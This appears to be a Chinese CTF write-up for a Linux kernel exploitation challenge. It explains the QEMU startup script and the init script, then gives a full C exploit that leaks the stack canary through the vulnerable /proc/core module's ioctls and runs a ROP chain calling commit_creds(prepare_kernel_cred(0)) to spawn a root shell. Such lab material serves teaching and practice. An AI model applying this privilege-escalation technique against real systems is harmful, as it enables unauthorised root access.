qemu-system-x86_64 \
-m 64M \           
-kernel ./bzImage \ 
-initrd  ./core.cpio \ 
-append "root=/dev/ram rw console=ttyS0 oops=panic 
panic=1 quiet kaslr" \ 
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \

-nographic  \

-m memory大小，原先自带的64M太小了，会启动不了，换个大点的128M
-kernel 其实是kernel的路径
-initrd 是文件系统的路径
-append选项后的字符串，其实相当于grub引导内核时附加的命令行参数。 GRUB是GRand Unified Bootloader的缩写，多重启动管理器，它允许用户可以在计算机内同时拥有多个操作系统，并在计算机启动时选择希望运行的操作系统

kaslr表明开启了内核的aslr

-s 其实是开启了本地1234的调试端口的意思。shorthand for -gdb tcp::1234

file core.cpio

mkdir core
mv core.cpio core/core.cpio.gz
cd core
gunzip core.cpio.gz

mount -t proc proc /proc  
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

mount命令是经常会使用到的命令，它用于挂载Linux系统外的文件。
/sbin/mdev -s 会自动创建设备节点
mkdir 用于创建目录
chmod 用于授予权限

cat /proc/kallsyms > /tmp/kallsyms 把内核符号转移到了tmp目录下，意味着我们可以直接查看内核函数的地址。
echo 1 > /proc/sys/kernel/kptr_restrict  开启了普通用户不可见的保护措施
echo 1 > /proc/sys/kernel/dmesg_restrict 开启了普通用户不可见的保护措施
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
这些命令都是用于启动网卡，开启网关和路由的。

poweroff -d 120 -f & 意味着120s后系统会自动关机，我们需要把他去掉，方便我们调试。

setsid /bin/cttyhack setuidgid 1000 /bin/sh 设置用户权限未普通用户，这里我们需要 改为setsid /bin/cttyhack setuidgid 0 /bin/sh 设置root权限。同样是为了方便调试。

ROPgadget --binary vmlinux > 1.txt

./extract-vmlinux bzImage > vmlinux

commit_cred(prepare_kernel_cred(0))

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

unsigned long long commit_cred=0;
unsigned long long prepare_kernel_cred=0;

void get_shell(){
    if(!getuid()){
        printf("get root!\n");
        system("/bin/sh");
    }else{
        printf("get shell error!\n");
    }
    exit(0);
}

void get_address(){
    FILE * fd = fopen("/tmp/kallsyms","r");
    if(fd==NULL){
        printf("error in open file kallsyms!\n");
    }
    unsigned long long addr;
    char type[0x10];
    char func_name[0x100];
    while (fscanf(fd,"%llx%s%s",&addr,type,func_name)!=EOF)
    {
        //printf("%llx %s %s\n",addr,type,func_name);
        if(commit_cred&&prepare_kernel_cred)
            break;;
        if(!strcmp(func_name,"prepare_kernel_cred"))
            prepare_kernel_cred=addr;
        if(!strcmp(func_name,"commit_creds"))
            commit_cred=addr;
    }
    printf("commit_addr:%p\n",commit_cred);
    printf("prepare_kernel_cred:%p\n",prepare_kernel_cred);
    return;
}

void set_off(int fd,long long len){
    printf("set off start!\n");
    ioctl(fd,0x6677889C,len);
}

void core_read(int fd,char * buffer){
    printf("read func start!\n");
    ioctl(fd,0x6677889B,buffer);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

int main(){
    saveStatus();
    get_address();//get commit_creds and prepare_kernel_cred addr

    int fd=open("/proc/core",O_RDWR);
    if(fd <0){
        printf("error! open device failed!\n");
        exit(0);
    }
    // set off = 64
    set_off(fd,0x40);
    // read canary
    char buf[65]={0};
    core_read(fd,buf);
    //printf("buffer:%s\n",&buf[1]);
    long long canary = ((long long *)buf)[0];// detail6
    printf("get canary!%p\n",canary);

    //rop
    unsigned long long kernel_base = commit_cred-0x9c8e0;
    unsigned long long offset = kernel_base-0xffffffff81000000;
    unsigned long long rop[0x100];
    int i=0;
    for(i=0;i<10;i++)
        rop[i]=canary;
    rop[i++]=0xffffffff81000b2f+offset;//pop rdi ret
    rop[i++]=0;
    rop[i++]=prepare_kernel_cred;
    rop[i++]=0xffffffff810a0f49 + offset; // pop rdx; ret
    rop[i++]=0xffffffff81021e53 + offset; // pop rcx; ret
    rop[i++]=0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
    rop[i++]= commit_cred;

    rop[i++]=0xffffffff81a012da + offset; // swapgs; popfq; ret
    rop[i++]=0;
    rop[i++]= 0xffffffff81050ac2 + offset; // iretq; ret;
    rop[i++] = (size_t)get_shell;         // rip 

    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    write(fd, rop, 0x800);
    ioctl(fd,0x6677889A,0xffffffffffff0000|0x100);
    return 0;
}